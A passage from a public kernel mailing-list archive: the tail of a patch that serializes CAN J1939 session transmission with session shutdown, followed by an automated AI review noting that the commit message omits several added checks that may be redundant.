+ spin_unlock(&session->tx_send_lock);
+ if (shutdown)
+ return false;
spin_lock(&session->rxtimer_lock);
if (session->rxtimer_shutdown || session->rxtimer_cancelers ||
@@ -1058,7 +1096,7 @@ static int j1939_session_tx_dat(struct j1939_session *session)
ret = j1939_tp_tx_dat(session, dat, len + 1);
if (ret < 0) {
/* ENOBUFS == CAN interface TX queue is full */
- if (ret != -ENOBUFS)
+ if (ret != -ENOBUFS && ret != -ESHUTDOWN)
netdev_alert(priv->ndev,
"%s: 0x%p: queue data error: %i\n",
__func__, session, ret);
@@ -1283,7 +1321,7 @@ static int j1939_simple_txnext(struct j1939_session *session)
can_skb_set_owner(skb, se_skb->sk);
- ret = j1939_send_one(session->priv, skb);
+ ret = j1939_session_tx_send(session, skb);
if (ret)
goto out_free;
@@ -1318,7 +1356,9 @@ static bool j1939_session_deactivate_locked(struct j1939_session *session)
active = true;
list_del_init(&session->active_session_list_entry);
- session->state = J1939_SESSION_DONE;
+ spin_lock(&session->tx_send_lock);
+ WRITE_ONCE(session->state, J1939_SESSION_DONE);
+ spin_unlock(&session->tx_send_lock);
j1939_session_put(session);
}
@@ -1350,10 +1390,13 @@ j1939_session_deactivate_activate_next(struct j1939_session *session)
static bool j1939_session_fail(struct j1939_session *session, int err)
{
- bool deactivate = false;
+ bool deactivate = false, tx_send_shutdown;
j1939_session_list_lock(session->priv);
- if (session->state == J1939_SESSION_ACTIVE) {
+ spin_lock(&session->tx_send_lock);
+ tx_send_shutdown = session->tx_send_shutdown;
+ spin_unlock(&session->tx_send_lock);
+ if (!tx_send_shutdown && session->state == J1939_SESSION_ACTIVE) {
session->err = err;
deactivate = j1939_session_deactivate_locked(session);
}
@@ -1376,14 +1419,22 @@ static bool __j1939_session_cancel(struct j1939_session *session,
WARN_ON_ONCE(!err);
lockdep_assert_held(&session->priv->active_session_list_lock);
+ spin_lock(&session->tx_send_lock);
+ if (session->tx_send_shutdown) {
+ spin_unlock(&session->tx_send_lock);
+ return false;
+ }
+
session->err = j1939_xtp_abort_to_errno(priv, err);
- session->state = J1939_SESSION_WAITING_ABORT;
+ WRITE_ONCE(session->state, J1939_SESSION_WAITING_ABORT);
/* do not send aborts on incoming broadcasts */
if (!j1939_cb_is_broadcast(&session->skcb)) {
j1939_xtp_tx_abort(priv, &session->skcb,
!session->transmission,
err, session->skcb.addr.pgn);
}
+ spin_unlock(&session->tx_send_lock);
+
if (session->sk)
j1939_sk_send_loop_abort(session->sk, session->err);
@@ -1399,16 +1450,23 @@ static bool j1939_session_cancel(struct j1939_session *session,
if (session->state >= J1939_SESSION_ACTIVE &&
session->state < J1939_SESSION_WAITING_ABORT) {
- cancelled = __j1939_session_cancel(session, err);
- if (cancelled) {
- spin_lock(&session->txtimer_lock);
- session->txtimer_shutdown = true;
- spin_unlock(&session->txtimer_lock);
- if (!__j1939_tp_set_rxtimeout(session,
- J1939_XTP_ABORT_TIMEOUT_MS,
- true))
- deactivate =
- j1939_session_deactivate_locked(session);
+ bool tx_send_shutdown;
+
+ spin_lock(&session->tx_send_lock);
+ tx_send_shutdown = session->tx_send_shutdown;
+ spin_unlock(&session->tx_send_lock);
+ if (!tx_send_shutdown) {
+ cancelled = __j1939_session_cancel(session, err);
+ if (cancelled) {
+ spin_lock(&session->txtimer_lock);
+ session->txtimer_shutdown = true;
+ spin_unlock(&session->txtimer_lock);
+ if (!__j1939_tp_set_rxtimeout(session,
+ J1939_XTP_ABORT_TIMEOUT_MS,
+ true))
+ deactivate =
+ j1939_session_deactivate_locked(session);
+ }
}
}
@@ -1476,6 +1534,9 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
* propagation of the error to user space.
*/
break;
+ case -ESHUTDOWN:
+ /* A terminal state transition won before the frame was sent. */
+ break;
case -EOVERFLOW:
j1939_session_cancel(session, J1939_XTP_ABORT_ECTS_TOO_BIG);
break;
@@ -1878,6 +1939,7 @@ static struct j1939_session *j1939_session_new(struct j1939_priv *priv,
memcpy(&session->skcb, skcb, sizeof(session->skcb));
spin_lock_init(&session->txtimer_lock);
+ spin_lock_init(&session->tx_send_lock);
spin_lock_init(&session->rxtimer_lock);
hrtimer_setup(&session->txtimer, j1939_tp_txtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
hrtimer_setup(&session->rxtimer, j1939_tp_rxtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
@@ -1947,7 +2009,9 @@ int j1939_session_activate(struct j1939_session *session)
list_add_tail(&session->active_session_list_entry,
&priv->active_session_list);
j1939_session_get(session);
- session->state = J1939_SESSION_ACTIVE;
+ spin_lock(&session->tx_send_lock);
+ WRITE_ONCE(session->state, J1939_SESSION_ACTIVE);
+ spin_unlock(&session->tx_send_lock);
netdev_dbg(session->priv->ndev, "%s: 0x%p\n",
__func__, session);
--
2.43.0
^ permalink raw reply related [flat|nested] 5+ messages in thread* Re: [PATCH net v6 2/2] can: j1939: serialize TX with session shutdown
2026-11-04 15:02 ` [PATCH net v6 2/2] can: j1939: serialize TX with session shutdown Zihan Xi
@ 2026-11-06 4:18 ` netdev-bot+sashiko
0 siblings, 0 replies; 5+ messages in thread
From: netdev-bot+sashiko @ 2026-11-06 4:18 UTC (permalink / raw)
To: zihanx
Cc: linux-can, robin, o.rempel, kernel, socketcan, mkl, lkp, bst,
dev.kurt, maxime.jayat, vega, kuba
Thank you for your contribution! Sashiko AI review found more severe
issue(s) in other patches of this series. This mail is only an FYI, in case
you want to address the nit picks below when you respin.
Low priority / nit picks for your consideration:
- [Low] The commit message covers only part of what the patch changes.
--
can: j1939: serialize TX with session shutdown
This patch adds a per-session tx_send_lock and a tx_send_shutdown flag. It
routes session frame transmission through a new j1939_session_tx_send()
helper, which drops frames with -ESHUTDOWN once shutdown has been
published or the state is no longer ACTIVE. The state writes in activate,
deactivate and cancel now happen under the new lock.
Link: https://bugtracker.nebusec.ai/f/11143
> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index fbeb858956e03..390923a050469 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c
[ ... ]
> @@ -1350,10 +1390,13 @@ j1939_session_deactivate_activate_next(struct j1939_session *session)
>
> static bool j1939_session_fail(struct j1939_session *session, int err)
> {
> - bool deactivate = false;
> + bool deactivate = false, tx_send_shutdown;
>
> j1939_session_list_lock(session->priv);
> - if (session->state == J1939_SESSION_ACTIVE) {
> + spin_lock(&session->tx_send_lock);
> + tx_send_shutdown = session->tx_send_shutdown;
> + spin_unlock(&session->tx_send_lock);
> + if (!tx_send_shutdown && session->state == J1939_SESSION_ACTIVE) {
> session->err = err;
> deactivate = j1939_session_deactivate_locked(session);
> }
[Severity: Low]
This isn't a bug, but the commit message only covers part of this change:
Prevent a timer callback from sending session frames after a concurrent
terminal state transition. Serialize the send with the state change and
reject frames once shutdown has been published.
That description matches j1939_session_tx_send(). The patch also adds
tx_send_shutdown checks to paths that do not send frames:
- j1939_session_fail() stops recording session->err and stops
deactivating once tx_send_shutdown is set.
- __j1939_session_cancel() returns early, so no abort frame is sent and
j1939_sk_send_loop_abort() is not called. The abort frame is also now
sent while tx_send_lock is held.
- j1939_session_cancel() gets an outer copy of the same check.
- __j1939_tp_set_rxtimeout() gets a new check.
- The new -ESHUTDOWN result skips the netdev_alert() in
j1939_session_tx_dat() and is silently dropped in j1939_tp_txtimer().
Are most of these checks needed? Only j1939_session_timers_shutdown_locked()
sets tx_send_shutdown. It runs under active_session_list_lock and sets
rxtimer_shutdown in the same section, and rxtimer_shutdown is never
cleared:
j1939_session_timers_shutdown_locked() {
lockdep_assert_held(&session->priv->active_session_list_lock);
j1939_session_tx_send_shutdown(session);
spin_lock(&session->rxtimer_lock);
session->rxtimer_shutdown = true;
spin_unlock(&session->rxtimer_lock);
}
As a result, the new check in __j1939_tp_set_rxtimeout() repeats the
existing rxtimer_shutdown test.
The check in __j1939_session_cancel() can never fire either, because
j1939_session_cancel() already tests the same flag under the same list
lock.
Behaviour only seems to change in j1939_simple_recv(). It publishes the
shutdown while the state is still ACTIVE, drops the list lock, drains the
timers, and only deactivates later:
j1939_session_list_lock(priv);
session = j1939_session_get_simple(priv, skb);
if (session)
j1939_session_timers_shutdown_locked(session);
j1939_session_list_unlock(priv);
Within that window, a txtimer error such as -ENOMEM from
j1939_simple_txnext() reaches j1939_session_fail(). It is now ignored,
where before it set session->err and deactivated the session. That may be
intended, since the echo has already confirmed the send.
Could the commit message mention this change and explain why it is safe?
The patch is tagged for stable and adds a new lock around j1939_send_one()
on every session TX path. Could the message also describe the user-visible
symptom being fixed? For example, stray TP.DT, CTS, EOMA or simple frames
showing up on the bus after a concurrent terminal transition.
Could the redundant checks also be dropped?
--
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1793788955.git.zihanx%40nebusec.ai
^ permalink raw reply [flat|nested] 5+ messages in thread
end of thread, other threads:[~2026-11-06 4:18 UTC | newest]
Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-11-04 15:02 [PATCH net v6 0/2] can: j1939: fix TX timer reference leak Zihan Xi
2026-11-04 15:02 ` [PATCH net v6 1/2] can: j1939: account for timer references across rearm Zihan Xi
2026-11-06 4:18 ` netdev-bot+sashiko
2026-11-04 15:02 ` [PATCH net v6 2/2] can: j1939: serialize TX with session shutdown Zihan Xi
2026-11-06 4:18 ` netdev-bot+sashiko
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox